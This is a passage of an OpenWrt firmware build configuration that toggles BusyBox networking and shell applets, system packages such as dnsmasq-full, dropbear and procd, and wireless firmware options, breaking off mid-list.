CONFIG_BUSYBOX_DEFAULT_FEATURE_PREFER_IPV4_ADDRESS=y CONFIG_BUSYBOX_DEFAULT_VERBOSE_RESOLUTION_ERRORS=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_TLS_SHA1 is not set # CONFIG_BUSYBOX_DEFAULT_ARP is not set # CONFIG_BUSYBOX_DEFAULT_ARPING is not set CONFIG_BUSYBOX_DEFAULT_BRCTL=y CONFIG_BUSYBOX_DEFAULT_FEATURE_BRCTL_FANCY=y CONFIG_BUSYBOX_DEFAULT_FEATURE_BRCTL_SHOW=y # CONFIG_BUSYBOX_DEFAULT_DNSD is not set # CONFIG_BUSYBOX_DEFAULT_ETHER_WAKE is not set # CONFIG_BUSYBOX_DEFAULT_FTPD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_FTPD_WRITE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_FTPD_ACCEPT_BROKEN_LIST is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_FTPD_AUTHENTICATION is not set # CONFIG_BUSYBOX_DEFAULT_FTPGET is not set # CONFIG_BUSYBOX_DEFAULT_FTPPUT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_FTPGETPUT_LONG_OPTIONS is not set # CONFIG_BUSYBOX_DEFAULT_HOSTNAME is not set # CONFIG_BUSYBOX_DEFAULT_DNSDOMAINNAME is not set # CONFIG_BUSYBOX_DEFAULT_HTTPD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HTTPD_RANGES is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HTTPD_SETUID is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HTTPD_BASIC_AUTH is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HTTPD_AUTH_MD5 is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HTTPD_CGI is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HTTPD_CONFIG_WITH_SCRIPT_INTERPR is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HTTPD_SET_REMOTE_PORT_TO_ENV is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HTTPD_ENCODE_URL_STR is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HTTPD_ERROR_PAGES is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HTTPD_PROXY is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_HTTPD_GZIP is not set CONFIG_BUSYBOX_DEFAULT_IFCONFIG=y CONFIG_BUSYBOX_DEFAULT_FEATURE_IFCONFIG_STATUS=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_IFCONFIG_SLIP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_IFCONFIG_MEMSTART_IOADDR_IRQ is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_IFCONFIG_HW=y CONFIG_BUSYBOX_DEFAULT_FEATURE_IFCONFIG_BROADCAST_PLUS=y # CONFIG_BUSYBOX_DEFAULT_IFENSLAVE is not set # CONFIG_BUSYBOX_DEFAULT_IFPLUGD is not set # CONFIG_BUSYBOX_DEFAULT_IFUP is not set # CONFIG_BUSYBOX_DEFAULT_IFDOWN is not set CONFIG_BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH="" # CONFIG_BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV4 is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV6 is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_MAPPING is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_EXTERNAL_DHCP is not set # CONFIG_BUSYBOX_DEFAULT_INETD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INETD_SUPPORT_BUILTIN_ECHO is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INETD_SUPPORT_BUILTIN_DISCARD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INETD_SUPPORT_BUILTIN_TIME is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INETD_SUPPORT_BUILTIN_DAYTIME is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INETD_SUPPORT_BUILTIN_CHARGEN is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INETD_RPC is not set CONFIG_BUSYBOX_DEFAULT_IP=y # CONFIG_BUSYBOX_DEFAULT_IPADDR is not set # CONFIG_BUSYBOX_DEFAULT_IPLINK is not set # CONFIG_BUSYBOX_DEFAULT_IPROUTE is not set # CONFIG_BUSYBOX_DEFAULT_IPTUNNEL is not set # CONFIG_BUSYBOX_DEFAULT_IPRULE is not set # CONFIG_BUSYBOX_DEFAULT_IPNEIGH is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_IP_ADDRESS=y CONFIG_BUSYBOX_DEFAULT_FEATURE_IP_LINK=y CONFIG_BUSYBOX_DEFAULT_FEATURE_IP_ROUTE=y CONFIG_BUSYBOX_DEFAULT_FEATURE_IP_ROUTE_DIR="/etc/iproute2" # CONFIG_BUSYBOX_DEFAULT_FEATURE_IP_TUNNEL is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_IP_RULE=y CONFIG_BUSYBOX_DEFAULT_FEATURE_IP_NEIGH=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS is not set # CONFIG_BUSYBOX_DEFAULT_IPCALC is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_IPCALC_LONG_OPTIONS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_IPCALC_FANCY is not set # CONFIG_BUSYBOX_DEFAULT_FAKEIDENTD is not set # CONFIG_BUSYBOX_DEFAULT_NAMEIF is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED is not set # CONFIG_BUSYBOX_DEFAULT_NBDCLIENT is not set CONFIG_BUSYBOX_DEFAULT_NC=y # CONFIG_BUSYBOX_DEFAULT_NETCAT is not set # CONFIG_BUSYBOX_DEFAULT_NC_SERVER is not set # CONFIG_BUSYBOX_DEFAULT_NC_EXTRA is not set # CONFIG_BUSYBOX_DEFAULT_NC_110_COMPAT is not set CONFIG_BUSYBOX_DEFAULT_NETMSG=y CONFIG_BUSYBOX_DEFAULT_NETSTAT=y CONFIG_BUSYBOX_DEFAULT_FEATURE_NETSTAT_WIDE=y CONFIG_BUSYBOX_DEFAULT_FEATURE_NETSTAT_PRG=y # CONFIG_BUSYBOX_DEFAULT_NSLOOKUP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_NSLOOKUP_BIG is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_NSLOOKUP_LONG_OPTIONS is not set CONFIG_BUSYBOX_DEFAULT_NSLOOKUP_OPENWRT=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_NSLOOKUP_OPENWRT_LONG_OPTIONS is not set CONFIG_BUSYBOX_DEFAULT_NTPD=y CONFIG_BUSYBOX_DEFAULT_FEATURE_NTPD_SERVER=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_NTPD_CONF is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_NTP_AUTH is not set CONFIG_BUSYBOX_DEFAULT_PING=y CONFIG_BUSYBOX_DEFAULT_PING6=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FANCY_PING=y # CONFIG_BUSYBOX_DEFAULT_PSCAN is not set CONFIG_BUSYBOX_DEFAULT_ROUTE=y # CONFIG_BUSYBOX_DEFAULT_SLATTACH is not set # CONFIG_BUSYBOX_DEFAULT_SSL_CLIENT is not set # CONFIG_BUSYBOX_DEFAULT_TC is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TC_INGRESS is not set # CONFIG_BUSYBOX_DEFAULT_TCPSVD is not set # CONFIG_BUSYBOX_DEFAULT_UDPSVD is not set # CONFIG_BUSYBOX_DEFAULT_TELNET is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TELNET_TTYPE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TELNET_AUTOLOGIN is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TELNET_WIDTH is not set # CONFIG_BUSYBOX_DEFAULT_TELNETD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TELNETD_STANDALONE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TELNETD_INETD_WAIT is not set # CONFIG_BUSYBOX_DEFAULT_TFTP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TFTP_PROGRESS_BAR is not set # CONFIG_BUSYBOX_DEFAULT_TFTPD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TFTP_GET is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TFTP_PUT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TFTP_BLOCKSIZE is not set # CONFIG_BUSYBOX_DEFAULT_TFTP_DEBUG is not set # CONFIG_BUSYBOX_DEFAULT_TLS is not set CONFIG_BUSYBOX_DEFAULT_TRACEROUTE=y CONFIG_BUSYBOX_DEFAULT_TRACEROUTE6=y CONFIG_BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_VERBOSE=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_USE_ICMP is not set # CONFIG_BUSYBOX_DEFAULT_TUNCTL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TUNCTL_UG is not set # CONFIG_BUSYBOX_DEFAULT_VCONFIG is not set # CONFIG_BUSYBOX_DEFAULT_WGET is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_WGET_HTTPS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL is not set # CONFIG_BUSYBOX_DEFAULT_WHOIS is not set # CONFIG_BUSYBOX_DEFAULT_ZCIP is not set # CONFIG_BUSYBOX_DEFAULT_UDHCPD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_UDHCPD_BASE_IP_ON_MAC is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_UDHCPD_WRITE_LEASES_EARLY is not set CONFIG_BUSYBOX_DEFAULT_DHCPD_LEASES_FILE="" # CONFIG_BUSYBOX_DEFAULT_DUMPLEASES is not set # CONFIG_BUSYBOX_DEFAULT_DHCPRELAY is not set CONFIG_BUSYBOX_DEFAULT_UDHCPC=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_UDHCPC_ARPING is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_UDHCPC_SANITIZEOPT is not set CONFIG_BUSYBOX_DEFAULT_UDHCPC_DEFAULT_SCRIPT="/usr/share/udhcpc/default.script" # CONFIG_BUSYBOX_DEFAULT_UDHCPC6 is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_UDHCPC6_RFC3646 is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_UDHCPC6_RFC4704 is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_UDHCPC6_RFC4833 is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_UDHCPC6_RFC5970 is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_UDHCP_PORT is not set CONFIG_BUSYBOX_DEFAULT_UDHCP_DEBUG=0 CONFIG_BUSYBOX_DEFAULT_UDHCPC_SLACK_FOR_BUGGY_SERVERS=80 CONFIG_BUSYBOX_DEFAULT_FEATURE_UDHCP_RFC3397=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_UDHCP_8021Q is not set CONFIG_BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS="" # CONFIG_BUSYBOX_DEFAULT_LPD is not set # CONFIG_BUSYBOX_DEFAULT_LPR is not set # CONFIG_BUSYBOX_DEFAULT_LPQ is not set # CONFIG_BUSYBOX_DEFAULT_MAKEMIME is not set # CONFIG_BUSYBOX_DEFAULT_POPMAILDIR is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_POPMAILDIR_DELIVERY is not set # CONFIG_BUSYBOX_DEFAULT_REFORMIME is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_REFORMIME_COMPAT is not set # CONFIG_BUSYBOX_DEFAULT_SENDMAIL is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET="" CONFIG_BUSYBOX_DEFAULT_FREE=y # CONFIG_BUSYBOX_DEFAULT_FUSER is not set # CONFIG_BUSYBOX_DEFAULT_IOSTAT is not set CONFIG_BUSYBOX_DEFAULT_KILL=y CONFIG_BUSYBOX_DEFAULT_KILLALL=y # CONFIG_BUSYBOX_DEFAULT_KILLALL5 is not set # CONFIG_BUSYBOX_DEFAULT_LSOF is not set # CONFIG_BUSYBOX_DEFAULT_MPSTAT is not set # CONFIG_BUSYBOX_DEFAULT_NMETER is not set CONFIG_BUSYBOX_DEFAULT_PGREP=y # CONFIG_BUSYBOX_DEFAULT_PKILL is not set CONFIG_BUSYBOX_DEFAULT_PIDOF=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_PIDOF_SINGLE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_PIDOF_OMIT is not set # CONFIG_BUSYBOX_DEFAULT_PMAP is not set # CONFIG_BUSYBOX_DEFAULT_POWERTOP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_POWERTOP_INTERACTIVE is not set CONFIG_BUSYBOX_DEFAULT_PS=y CONFIG_BUSYBOX_DEFAULT_FEATURE_PS_WIDE=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_PS_LONG is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_PS_TIME is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_PS_UNUSUAL_SYSTEMS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_PS_ADDITIONAL_COLUMNS is not set # CONFIG_BUSYBOX_DEFAULT_PSTREE is not set # CONFIG_BUSYBOX_DEFAULT_PWDX is not set # CONFIG_BUSYBOX_DEFAULT_SMEMCAP is not set CONFIG_BUSYBOX_DEFAULT_BB_SYSCTL=y CONFIG_BUSYBOX_DEFAULT_TOP=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_TOP_INTERACTIVE is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE=y CONFIG_BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TOPMEM is not set CONFIG_BUSYBOX_DEFAULT_UPTIME=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT is not set # CONFIG_BUSYBOX_DEFAULT_WATCH is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS is not set # CONFIG_BUSYBOX_DEFAULT_CHPST is not set # CONFIG_BUSYBOX_DEFAULT_SETUIDGID is not set # CONFIG_BUSYBOX_DEFAULT_ENVUIDGID is not set # CONFIG_BUSYBOX_DEFAULT_ENVDIR is not set # CONFIG_BUSYBOX_DEFAULT_SOFTLIMIT is not set # CONFIG_BUSYBOX_DEFAULT_RUNSV is not set # CONFIG_BUSYBOX_DEFAULT_RUNSVDIR is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_RUNSVDIR_LOG is not set # CONFIG_BUSYBOX_DEFAULT_SV is not set CONFIG_BUSYBOX_DEFAULT_SV_DEFAULT_SERVICE_DIR="" # CONFIG_BUSYBOX_DEFAULT_SVC is not set # CONFIG_BUSYBOX_DEFAULT_SVOK is not set # CONFIG_BUSYBOX_DEFAULT_SVLOGD is not set # CONFIG_BUSYBOX_DEFAULT_CHCON is not set # CONFIG_BUSYBOX_DEFAULT_GETENFORCE is not set # CONFIG_BUSYBOX_DEFAULT_GETSEBOOL is not set # CONFIG_BUSYBOX_DEFAULT_LOAD_POLICY is not set # CONFIG_BUSYBOX_DEFAULT_MATCHPATHCON is not set # CONFIG_BUSYBOX_DEFAULT_RUNCON is not set # CONFIG_BUSYBOX_DEFAULT_SELINUXENABLED is not set # CONFIG_BUSYBOX_DEFAULT_SESTATUS is not set # CONFIG_BUSYBOX_DEFAULT_SETENFORCE is not set # CONFIG_BUSYBOX_DEFAULT_SETFILES is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SETFILES_CHECK_OPTION is not set # CONFIG_BUSYBOX_DEFAULT_RESTORECON is not set # CONFIG_BUSYBOX_DEFAULT_SETSEBOOL is not set CONFIG_BUSYBOX_DEFAULT_SH_IS_ASH=y # CONFIG_BUSYBOX_DEFAULT_SH_IS_HUSH is not set # CONFIG_BUSYBOX_DEFAULT_SH_IS_NONE is not set # CONFIG_BUSYBOX_DEFAULT_BASH_IS_ASH is not set # CONFIG_BUSYBOX_DEFAULT_BASH_IS_HUSH is not set CONFIG_BUSYBOX_DEFAULT_BASH_IS_NONE=y CONFIG_BUSYBOX_DEFAULT_ASH=y # CONFIG_BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE is not set CONFIG_BUSYBOX_DEFAULT_ASH_INTERNAL_GLOB=y CONFIG_BUSYBOX_DEFAULT_ASH_BASH_COMPAT=y # CONFIG_BUSYBOX_DEFAULT_ASH_BASH_SOURCE_CURDIR is not set # CONFIG_BUSYBOX_DEFAULT_ASH_BASH_NOT_FOUND_HOOK is not set CONFIG_BUSYBOX_DEFAULT_ASH_JOB_CONTROL=y CONFIG_BUSYBOX_DEFAULT_ASH_ALIAS=y # CONFIG_BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT is not set CONFIG_BUSYBOX_DEFAULT_ASH_EXPAND_PRMT=y # CONFIG_BUSYBOX_DEFAULT_ASH_IDLE_TIMEOUT is not set # CONFIG_BUSYBOX_DEFAULT_ASH_MAIL is not set CONFIG_BUSYBOX_DEFAULT_ASH_ECHO=y CONFIG_BUSYBOX_DEFAULT_ASH_PRINTF=y CONFIG_BUSYBOX_DEFAULT_ASH_TEST=y # CONFIG_BUSYBOX_DEFAULT_ASH_HELP is not set CONFIG_BUSYBOX_DEFAULT_ASH_GETOPTS=y CONFIG_BUSYBOX_DEFAULT_ASH_CMDCMD=y # CONFIG_BUSYBOX_DEFAULT_CTTYHACK is not set # CONFIG_BUSYBOX_DEFAULT_HUSH is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_BASH_COMPAT is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_BRACE_EXPANSION is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_LINENO_VAR is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_BASH_SOURCE_CURDIR is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_INTERACTIVE is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_SAVEHISTORY is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_JOB is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_TICK is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_IF is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_LOOPS is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_CASE is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_FUNCTIONS is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_LOCAL is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_RANDOM_SUPPORT is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_MODE_X is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_ECHO is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_PRINTF is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_TEST is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_HELP is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_EXPORT is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_EXPORT_N is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_READONLY is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_KILL is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_WAIT is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_COMMAND is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_TRAP is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_TYPE is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_TIMES is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_READ is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_SET is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_UNSET is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_ULIMIT is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_UMASK is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_GETOPTS is not set # CONFIG_BUSYBOX_DEFAULT_HUSH_MEMLEAK is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_SH_MATH=y CONFIG_BUSYBOX_DEFAULT_FEATURE_SH_MATH_64=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_SH_EXTRA_QUIET is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SH_STANDALONE is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_SH_NOFORK=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_SH_READ_FRAC is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SH_HISTFILESIZE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SH_EMBEDDED_SCRIPTS is not set # CONFIG_BUSYBOX_DEFAULT_KLOGD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_KLOGD_KLOGCTL is not set CONFIG_BUSYBOX_DEFAULT_LOGGER=y # CONFIG_BUSYBOX_DEFAULT_LOGREAD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LOGREAD_REDUCED_LOCKING is not set # CONFIG_BUSYBOX_DEFAULT_SYSLOGD is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_ROTATE_LOGFILE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_REMOTE_LOG is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SYSLOGD_DUP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SYSLOGD_CFG is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_SYSLOGD_READ_BUFFER_SIZE=0 # CONFIG_BUSYBOX_DEFAULT_FEATURE_IPC_SYSLOG is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_IPC_SYSLOG_BUFFER_SIZE=0 # CONFIG_BUSYBOX_DEFAULT_FEATURE_KMSG_SYSLOG is not set # CONFIG_PACKAGE_ca-bundle is not set CONFIG_PACKAGE_ca-certificates=y # CONFIG_PACKAGE_dnsmasq is not set # CONFIG_PACKAGE_dnsmasq-dhcpv6 is not set CONFIG_PACKAGE_dnsmasq-full=y CONFIG_PACKAGE_dnsmasq_full_dhcp=y # CONFIG_PACKAGE_dnsmasq_full_dhcpv6 is not set # CONFIG_PACKAGE_dnsmasq_full_dnssec is not set # CONFIG_PACKAGE_dnsmasq_full_auth is not set CONFIG_PACKAGE_dnsmasq_full_ipset=y # CONFIG_PACKAGE_dnsmasq_full_conntrack is not set # CONFIG_PACKAGE_dnsmasq_full_noid is not set # CONFIG_PACKAGE_dnsmasq_full_broken_rtc is not set CONFIG_PACKAGE_dropbear=y # # Configuration # CONFIG_DROPBEAR_CURVE25519=y # CONFIG_DROPBEAR_ECC is not set # CONFIG_DROPBEAR_ZLIB is not set CONFIG_DROPBEAR_DBCLIENT=y # CONFIG_PACKAGE_ead is not set CONFIG_PACKAGE_firewall=y CONFIG_PACKAGE_fstools=y # CONFIG_FSTOOLS_OVL_MOUNT_FULL_ACCESS_TIME is not set # CONFIG_FSTOOLS_OVL_MOUNT_COMPRESS_ZLIB is not set CONFIG_PACKAGE_fwtool=y CONFIG_PACKAGE_getrandom=y CONFIG_PACKAGE_jsonfilter=y # CONFIG_PACKAGE_libatomic is not set CONFIG_PACKAGE_libc=y CONFIG_PACKAGE_libgcc=y # CONFIG_PACKAGE_libgomp is not set CONFIG_PACKAGE_libpthread=y CONFIG_PACKAGE_librt=y # CONFIG_PACKAGE_libstdcpp is not set CONFIG_PACKAGE_logd=y CONFIG_PACKAGE_mtd=y CONFIG_PACKAGE_netifd=y # CONFIG_PACKAGE_nft-qos is not set # CONFIG_PACKAGE_nvram is not set # CONFIG_PACKAGE_om-watchdog is not set # CONFIG_PACKAGE_openwrt-keyring is not set CONFIG_PACKAGE_opkg=y CONFIG_PACKAGE_procd=y # # Configuration # # CONFIG_PROCD_SHOW_BOOT is not set # CONFIG_PROCD_ZRAM_TMPFS is not set # CONFIG_PACKAGE_procd-ujail is not set # CONFIG_PACKAGE_qos-scripts is not set # CONFIG_PACKAGE_resolveip is not set CONFIG_PACKAGE_rpcd=y # CONFIG_PACKAGE_rpcd-mod-file is not set # CONFIG_PACKAGE_rpcd-mod-iwinfo is not set # CONFIG_PACKAGE_rpcd-mod-rpcsys is not set # CONFIG_PACKAGE_snapshot-tool is not set # CONFIG_PACKAGE_sqm-scripts is not set # CONFIG_PACKAGE_sqm-scripts-extra is not set CONFIG_PACKAGE_swconfig=y CONFIG_PACKAGE_ubox=y CONFIG_PACKAGE_ubus=y CONFIG_PACKAGE_ubusd=y # CONFIG_PACKAGE_ucert is not set # CONFIG_PACKAGE_ucert-full is not set CONFIG_PACKAGE_uci=y CONFIG_PACKAGE_urandom-seed=y CONFIG_PACKAGE_urngd=y # CONFIG_PACKAGE_usign is not set # CONFIG_PACKAGE_wireless-tools is not set # CONFIG_PACKAGE_zram-swap is not set # # Administration # # # openwisp # # CONFIG_PACKAGE_openwisp-config-cyassl is not set # CONFIG_PACKAGE_openwisp-config-mbedtls is not set # CONFIG_PACKAGE_openwisp-config-nossl is not set # CONFIG_PACKAGE_openwisp-config-openssl is not set # # zabbix # # CONFIG_PACKAGE_zabbix-agentd is not set # CONFIG_PACKAGE_zabbix-extra-mac80211 is not set # CONFIG_PACKAGE_zabbix-extra-network is not set # CONFIG_PACKAGE_zabbix-extra-wifi is not set # CONFIG_PACKAGE_zabbix-get is not set # CONFIG_PACKAGE_zabbix-proxy is not set # CONFIG_PACKAGE_zabbix-sender is not set # CONFIG_PACKAGE_zabbix-server is not set # CONFIG_PACKAGE_htop is not set # CONFIG_PACKAGE_ipmitool is not set # CONFIG_PACKAGE_monit is not set # CONFIG_PACKAGE_monit-nossl is not set # CONFIG_PACKAGE_muninlite is not set # CONFIG_PACKAGE_netdata is not set # CONFIG_PACKAGE_sudo is not set # CONFIG_PACKAGE_syslog-ng is not set # # Boot Loaders # # # Development # # # Libraries # # CONFIG_PACKAGE_libncurses-dev is not set # CONFIG_PACKAGE_libxml2-dev is not set # CONFIG_PACKAGE_zlib-dev is not set # CONFIG_PACKAGE_ar is not set # CONFIG_PACKAGE_autoconf is not set # CONFIG_PACKAGE_automake is not set # CONFIG_PACKAGE_binutils is not set # CONFIG_PACKAGE_diffutils is not set # CONFIG_PACKAGE_gcc is not set # CONFIG_PACKAGE_gdb is not set # CONFIG_PACKAGE_gdbserver is not set # CONFIG_PACKAGE_libtool-bin is not set # CONFIG_PACKAGE_lpc21isp is not set # CONFIG_PACKAGE_lttng-tools is not set # CONFIG_PACKAGE_m4 is not set # CONFIG_PACKAGE_make is not set # CONFIG_PACKAGE_meson is not set # CONFIG_PACKAGE_meson-src is not set # CONFIG_PACKAGE_ninja is not set # CONFIG_PACKAGE_objdump is not set # CONFIG_PACKAGE_patch is not set # CONFIG_PACKAGE_pkg-config is not set # CONFIG_PACKAGE_trace-cmd is not set # CONFIG_PACKAGE_trace-cmd-extra is not set # CONFIG_PACKAGE_valgrind is not set # # Extra packages # # CONFIG_PACKAGE_automount is not set # CONFIG_PACKAGE_autosamba is not set # CONFIG_PACKAGE_ipv6helper is not set # CONFIG_PACKAGE_k3wifi is not set # CONFIG_PACKAGE_wireguard-tools is not set # # Firmware # # # ath10k IPQ4019 Boarddata # # CONFIG_PACKAGE_aircard-pcmcia-firmware is not set # CONFIG_PACKAGE_amdgpu-firmware is not set # CONFIG_PACKAGE_ar3k-firmware is not set # CONFIG_PACKAGE_ath10k-firmware-qca4019 is not set # CONFIG_PACKAGE_ath10k-firmware-qca4019-ct is not set # CONFIG_PACKAGE_ath10k-firmware-qca4019-ct-htt is not set # CONFIG_PACKAGE_ath10k-firmware-qca6174 is not set # CONFIG_PACKAGE_ath10k-firmware-qca9887 is not set # CONFIG_PACKAGE_ath10k-firmware-qca9887-ct is not set # CONFIG_PACKAGE_ath10k-firmware-qca9887-ct-htt is not set # CONFIG_PACKAGE_ath10k-firmware-qca9888 is not set # CONFIG_PACKAGE_ath10k-firmware-qca9888-ct is not set # CONFIG_PACKAGE_ath10k-firmware-qca9888-ct-htt is not set CONFIG_PACKAGE_ath10k-firmware-qca988x=y # CONFIG_PACKAGE_ath10k-firmware-qca988x-ct is not set # CONFIG_PACKAGE_ath10k-firmware-qca988x-ct-htt is not set # CONFIG_PACKAGE_ath10k-firmware-qca9984 is not set # CONFIG_PACKAGE_ath10k-firmware-qca9984-ct is not set # CONFIG_PACKAGE_ath10k-firmware-qca9984-ct-htt is not set # 